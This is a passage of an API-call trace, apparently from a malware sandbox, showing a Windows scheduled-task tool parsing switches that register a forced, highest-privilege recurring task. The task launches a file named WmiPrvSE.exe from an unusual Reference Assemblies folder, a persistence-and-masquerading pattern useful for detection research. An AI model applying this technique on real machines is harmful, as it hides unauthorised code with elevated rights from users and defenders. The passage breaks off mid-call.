0 [0088.969] lstrlenW (lpString="mo") returned 2 [0088.969] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.969] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|delete|") returned 8 [0088.969] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.969] lstrlenW (lpString="|delete|") returned 8 [0088.969] lstrlenW (lpString="|mo|") returned 4 [0088.969] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0088.969] SetLastError (dwErrCode=0x490) [0088.969] lstrlenW (lpString="query") returned 5 [0088.969] lstrlenW (lpString="query") returned 5 [0088.969] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.969] lstrlenW (lpString="mo") returned 2 [0088.969] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.969] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|query|") returned 7 [0088.969] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.969] lstrlenW (lpString="|query|") returned 7 [0088.969] lstrlenW (lpString="|mo|") returned 4 [0088.969] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0088.970] SetLastError (dwErrCode=0x490) [0088.970] lstrlenW (lpString="change") returned 6 [0088.970] lstrlenW (lpString="change") returned 6 [0088.970] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.970] lstrlenW (lpString="mo") returned 2 [0088.970] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.970] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|change|") returned 8 [0088.970] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.970] lstrlenW (lpString="|change|") returned 8 [0088.970] lstrlenW (lpString="|mo|") returned 4 [0088.970] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0088.970] SetLastError (dwErrCode=0x490) [0088.970] lstrlenW (lpString="run") returned 3 [0088.970] lstrlenW (lpString="run") returned 3 [0088.970] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.970] lstrlenW (lpString="mo") returned 2 [0088.970] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.970] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|run|") returned 5 [0088.970] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.970] lstrlenW (lpString="|run|") returned 5 [0088.970] lstrlenW (lpString="|mo|") returned 4 [0088.971] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0088.971] SetLastError (dwErrCode=0x490) [0088.971] lstrlenW (lpString="end") returned 3 [0088.971] lstrlenW (lpString="end") returned 3 [0088.971] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.971] lstrlenW (lpString="mo") returned 2 [0088.971] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.971] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|end|") returned 5 [0088.971] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.971] lstrlenW (lpString="|end|") returned 5 [0088.971] lstrlenW (lpString="|mo|") returned 4 [0088.971] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0088.971] SetLastError (dwErrCode=0x490) [0088.971] lstrlenW (lpString="showsid") returned 7 [0088.971] lstrlenW (lpString="showsid") returned 7 [0088.971] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.971] lstrlenW (lpString="mo") returned 2 [0088.971] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.971] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|showsid|") returned 9 [0088.971] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.971] lstrlenW (lpString="|showsid|") returned 9 [0088.971] lstrlenW (lpString="|mo|") returned 4 [0088.972] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0088.972] SetLastError (dwErrCode=0x490) [0088.972] SetLastError (dwErrCode=0x490) [0088.972] SetLastError (dwErrCode=0x0) [0088.972] lstrlenW (lpString="/mo") returned 3 [0088.972] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0088.972] SetLastError (dwErrCode=0x490) [0088.972] SetLastError (dwErrCode=0x0) [0088.972] lstrlenW (lpString="/mo") returned 3 [0088.972] GetProcessHeap () returned 0x200000 [0088.972] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c450 [0088.972] GetProcessHeap () returned 0x200000 [0088.972] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce50 [0088.972] SetLastError (dwErrCode=0x0) [0088.972] SetLastError (dwErrCode=0x0) [0088.972] lstrlenW (lpString="9") returned 1 [0088.972] SetLastError (dwErrCode=0x490) [0088.972] SetLastError (dwErrCode=0x0) [0088.972] lstrlenW (lpString="9") returned 1 [0088.972] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0088.972] SetLastError (dwErrCode=0x490) [0088.972] SetLastError (dwErrCode=0x0) [0088.972] lstrlenW (lpString="9") returned 1 [0088.972] GetProcessHeap () returned 0x200000 [0088.972] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x4) returned 0x21c470 [0088.972] GetProcessHeap () returned 0x200000 [0088.972] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce80 [0088.973] SetLastError (dwErrCode=0x0) [0088.973] SetLastError (dwErrCode=0x0) [0088.973] lstrlenW (lpString="/tr") returned 3 [0088.973] lstrlenW (lpString="-/") returned 2 [0088.973] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.973] lstrlenW (lpString="?") returned 1 [0088.973] lstrlenW (lpString="?") returned 1 [0088.973] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.973] lstrlenW (lpString="tr") returned 2 [0088.973] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.973] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|?|") returned 3 [0088.973] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0088.973] lstrlenW (lpString="|?|") returned 3 [0088.973] lstrlenW (lpString="|tr|") returned 4 [0088.973] SetLastError (dwErrCode=0x490) [0088.973] lstrlenW (lpString="create") returned 6 [0088.973] lstrlenW (lpString="create") returned 6 [0088.973] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.973] lstrlenW (lpString="tr") returned 2 [0088.973] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.973] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0088.973] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0088.973] lstrlenW (lpString="|create|") returned 8 [0088.973] lstrlenW (lpString="|tr|") returned 4 [0088.973] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0088.974] SetLastError (dwErrCode=0x490) [0088.974] lstrlenW (lpString="delete") returned 6 [0088.974] lstrlenW (lpString="delete") returned 6 [0088.974] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.974] lstrlenW (lpString="tr") returned 2 [0088.974] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.974] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|delete|") returned 8 [0088.974] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0088.974] lstrlenW (lpString="|delete|") returned 8 [0088.974] lstrlenW (lpString="|tr|") returned 4 [0088.974] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0088.974] SetLastError (dwErrCode=0x490) [0088.974] lstrlenW (lpString="query") returned 5 [0088.974] lstrlenW (lpString="query") returned 5 [0088.974] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.974] lstrlenW (lpString="tr") returned 2 [0088.974] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.974] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|query|") returned 7 [0088.974] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0088.974] lstrlenW (lpString="|query|") returned 7 [0088.974] lstrlenW (lpString="|tr|") returned 4 [0088.974] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0089.289] SetLastError (dwErrCode=0x490) [0089.289] lstrlenW (lpString="change") returned 6 [0089.289] lstrlenW (lpString="change") returned 6 [0089.289] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.289] lstrlenW (lpString="tr") returned 2 [0089.289] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.290] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|change|") returned 8 [0089.290] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0089.290] lstrlenW (lpString="|change|") returned 8 [0089.290] lstrlenW (lpString="|tr|") returned 4 [0089.290] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0089.290] SetLastError (dwErrCode=0x490) [0089.290] lstrlenW (lpString="run") returned 3 [0089.290] lstrlenW (lpString="run") returned 3 [0089.290] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.290] lstrlenW (lpString="tr") returned 2 [0089.290] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.290] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|run|") returned 5 [0089.290] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0089.290] lstrlenW (lpString="|run|") returned 5 [0089.290] lstrlenW (lpString="|tr|") returned 4 [0089.290] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0089.290] SetLastError (dwErrCode=0x490) [0089.290] lstrlenW (lpString="end") returned 3 [0089.290] lstrlenW (lpString="end") returned 3 [0089.290] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.290] lstrlenW (lpString="tr") returned 2 [0089.290] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.290] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|end|") returned 5 [0089.290] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0089.291] lstrlenW (lpString="|end|") returned 5 [0089.291] lstrlenW (lpString="|tr|") returned 4 [0089.291] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0089.291] SetLastError (dwErrCode=0x490) [0089.291] lstrlenW (lpString="showsid") returned 7 [0089.291] lstrlenW (lpString="showsid") returned 7 [0089.291] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.291] lstrlenW (lpString="tr") returned 2 [0089.291] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.291] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|showsid|") returned 9 [0089.291] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tr|") returned 4 [0089.291] lstrlenW (lpString="|showsid|") returned 9 [0089.291] lstrlenW (lpString="|tr|") returned 4 [0089.291] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0089.291] SetLastError (dwErrCode=0x490) [0089.291] SetLastError (dwErrCode=0x490) [0089.291] SetLastError (dwErrCode=0x0) [0089.291] lstrlenW (lpString="/tr") returned 3 [0089.291] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0089.291] SetLastError (dwErrCode=0x490) [0089.291] SetLastError (dwErrCode=0x0) [0089.291] lstrlenW (lpString="/tr") returned 3 [0089.291] GetProcessHeap () returned 0x200000 [0089.291] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c490 [0089.291] GetProcessHeap () returned 0x200000 [0089.291] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ceb0 [0089.292] SetLastError (dwErrCode=0x0) [0089.292] SetLastError (dwErrCode=0x0) [0089.292] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.292] lstrlenW (lpString="-/") returned 2 [0089.292] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.292] SetLastError (dwErrCode=0x490) [0089.292] SetLastError (dwErrCode=0x490) [0089.292] SetLastError (dwErrCode=0x0) [0089.292] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.292] StrChrIW (lpStart="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'" [0089.292] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.292] GetProcessHeap () returned 0x200000 [0089.292] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c4b0 [0089.292] _memicmp (_Buf1=0x21c4b0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.292] GetProcessHeap () returned 0x200000 [0089.292] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21c4d0 [0089.292] GetProcessHeap () returned 0x200000 [0089.292] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d680 [0089.292] _memicmp (_Buf1=0x21d680, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.292] GetProcessHeap () returned 0x200000 [0089.292] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8c) returned 0x21de50 [0089.292] SetLastError (dwErrCode=0x7a) [0089.292] SetLastError (dwErrCode=0x0) [0089.292] SetLastError (dwErrCode=0x0) [0089.293] lstrlenW (lpString="'C") returned 2 [0089.293] lstrlenW (lpString="-/") returned 2 [0089.293] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.293] SetLastError (dwErrCode=0x490) [0089.293] SetLastError (dwErrCode=0x490) [0089.293] SetLastError (dwErrCode=0x0) [0089.293] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.293] GetProcessHeap () returned 0x200000 [0089.293] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8a) returned 0x21def0 [0089.293] GetProcessHeap () returned 0x200000 [0089.293] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cee0 [0089.293] SetLastError (dwErrCode=0x0) [0089.293] SetLastError (dwErrCode=0x0) [0089.293] lstrlenW (lpString="/rl") returned 3 [0089.293] lstrlenW (lpString="-/") returned 2 [0089.293] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.293] lstrlenW (lpString="?") returned 1 [0089.293] lstrlenW (lpString="?") returned 1 [0089.293] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.293] lstrlenW (lpString="rl") returned 2 [0089.293] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.293] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|?|") returned 3 [0089.293] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.293] lstrlenW (lpString="|?|") returned 3 [0089.293] lstrlenW (lpString="|rl|") returned 4 [0089.293] SetLastError (dwErrCode=0x490) [0089.293] lstrlenW (lpString="create") returned 6 [0089.293] lstrlenW (lpString="create") returned 6 [0089.294] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.294] lstrlenW (lpString="rl") returned 2 [0089.294] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.294] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0089.294] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.294] lstrlenW (lpString="|create|") returned 8 [0089.294] lstrlenW (lpString="|rl|") returned 4 [0089.294] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0089.294] SetLastError (dwErrCode=0x490) [0089.294] lstrlenW (lpString="delete") returned 6 [0089.294] lstrlenW (lpString="delete") returned 6 [0089.294] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.294] lstrlenW (lpString="rl") returned 2 [0089.294] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.294] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|delete|") returned 8 [0089.294] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.294] lstrlenW (lpString="|delete|") returned 8 [0089.294] lstrlenW (lpString="|rl|") returned 4 [0089.294] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0089.294] SetLastError (dwErrCode=0x490) [0089.294] lstrlenW (lpString="query") returned 5 [0089.294] lstrlenW (lpString="query") returned 5 [0089.294] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.295] lstrlenW (lpString="rl") returned 2 [0089.295] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.295] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|query|") returned 7 [0089.295] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.295] lstrlenW (lpString="|query|") returned 7 [0089.295] lstrlenW (lpString="|rl|") returned 4 [0089.295] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0089.295] SetLastError (dwErrCode=0x490) [0089.295] lstrlenW (lpString="change") returned 6 [0089.295] lstrlenW (lpString="change") returned 6 [0089.295] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.295] lstrlenW (lpString="rl") returned 2 [0089.295] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.295] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|change|") returned 8 [0089.295] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.295] lstrlenW (lpString="|change|") returned 8 [0089.295] lstrlenW (lpString="|rl|") returned 4 [0089.295] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0089.295] SetLastError (dwErrCode=0x490) [0089.295] lstrlenW (lpString="run") returned 3 [0089.295] lstrlenW (lpString="run") returned 3 [0089.295] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.295] lstrlenW (lpString="rl") returned 2 [0089.295] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.296] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|run|") returned 5 [0089.296] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.296] lstrlenW (lpString="|run|") returned 5 [0089.296] lstrlenW (lpString="|rl|") returned 4 [0089.296] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0089.296] SetLastError (dwErrCode=0x490) [0089.296] lstrlenW (lpString="end") returned 3 [0089.296] lstrlenW (lpString="end") returned 3 [0089.296] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.296] lstrlenW (lpString="rl") returned 2 [0089.296] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.296] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|end|") returned 5 [0089.296] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.296] lstrlenW (lpString="|end|") returned 5 [0089.296] lstrlenW (lpString="|rl|") returned 4 [0089.296] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0089.296] SetLastError (dwErrCode=0x490) [0089.296] lstrlenW (lpString="showsid") returned 7 [0089.296] lstrlenW (lpString="showsid") returned 7 [0089.296] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.296] lstrlenW (lpString="rl") returned 2 [0089.296] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.296] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|showsid|") returned 9 [0089.296] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|rl|") returned 4 [0089.296] lstrlenW (lpString="|showsid|") returned 9 [0089.297] lstrlenW (lpString="|rl|") returned 4 [0089.297] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0089.297] SetLastError (dwErrCode=0x490) [0089.297] SetLastError (dwErrCode=0x490) [0089.297] SetLastError (dwErrCode=0x0) [0089.297] lstrlenW (lpString="/rl") returned 3 [0089.297] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0089.297] SetLastError (dwErrCode=0x490) [0089.297] SetLastError (dwErrCode=0x0) [0089.297] lstrlenW (lpString="/rl") returned 3 [0089.297] GetProcessHeap () returned 0x200000 [0089.297] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21df90 [0089.297] GetProcessHeap () returned 0x200000 [0089.297] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf10 [0089.297] SetLastError (dwErrCode=0x0) [0089.297] SetLastError (dwErrCode=0x0) [0089.297] lstrlenW (lpString="HIGHEST") returned 7 [0089.297] lstrlenW (lpString="-/") returned 2 [0089.297] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0089.297] SetLastError (dwErrCode=0x490) [0089.297] SetLastError (dwErrCode=0x490) [0089.297] SetLastError (dwErrCode=0x0) [0089.297] lstrlenW (lpString="HIGHEST") returned 7 [0089.297] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0089.297] SetLastError (dwErrCode=0x490) [0089.297] SetLastError (dwErrCode=0x0) [0089.297] lstrlenW (lpString="HIGHEST") returned 7 [0089.297] GetProcessHeap () returned 0x200000 [0089.297] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x10) returned 0x21d6a0 [0089.297] GetProcessHeap () returned 0x200000 [0089.298] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf40 [0089.298] SetLastError (dwErrCode=0x0) [0089.298] SetLastError (dwErrCode=0x0) [0089.298] lstrlenW (lpString="/f") returned 2 [0089.298] lstrlenW (lpString="-/") returned 2 [0089.298] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.298] lstrlenW (lpString="?") returned 1 [0089.298] lstrlenW (lpString="?") returned 1 [0089.298] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.298] lstrlenW (lpString="f") returned 1 [0089.298] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.298] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|?|") returned 3 [0089.298] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.298] lstrlenW (lpString="|?|") returned 3 [0089.298] lstrlenW (lpString="|f|") returned 3 [0089.298] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0089.298] SetLastError (dwErrCode=0x490) [0089.298] lstrlenW (lpString="create") returned 6 [0089.298] lstrlenW (lpString="create") returned 6 [0089.298] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.298] lstrlenW (lpString="f") returned 1 [0089.298] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.298] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0089.298] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.298] lstrlenW (lpString="|create|") returned 8 [0089.299] lstrlenW (lpString="|f|") returned 3 [0089.299] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0089.299] SetLastError (dwErrCode=0x490) [0089.299] lstrlenW (lpString="delete") returned 6 [0089.299] lstrlenW (lpString="delete") returned 6 [0089.299] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.299] lstrlenW (lpString="f") returned 1 [0089.299] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.299] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|delete|") returned 8 [0089.299] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.299] lstrlenW (lpString="|delete|") returned 8 [0089.299] lstrlenW (lpString="|f|") returned 3 [0089.299] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0089.299] SetLastError (dwErrCode=0x490) [0089.299] lstrlenW (lpString="query") returned 5 [0089.299] lstrlenW (lpString="query") returned 5 [0089.299] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.299] lstrlenW (lpString="f") returned 1 [0089.299] _memicmp (_Buf1=0x21c380, 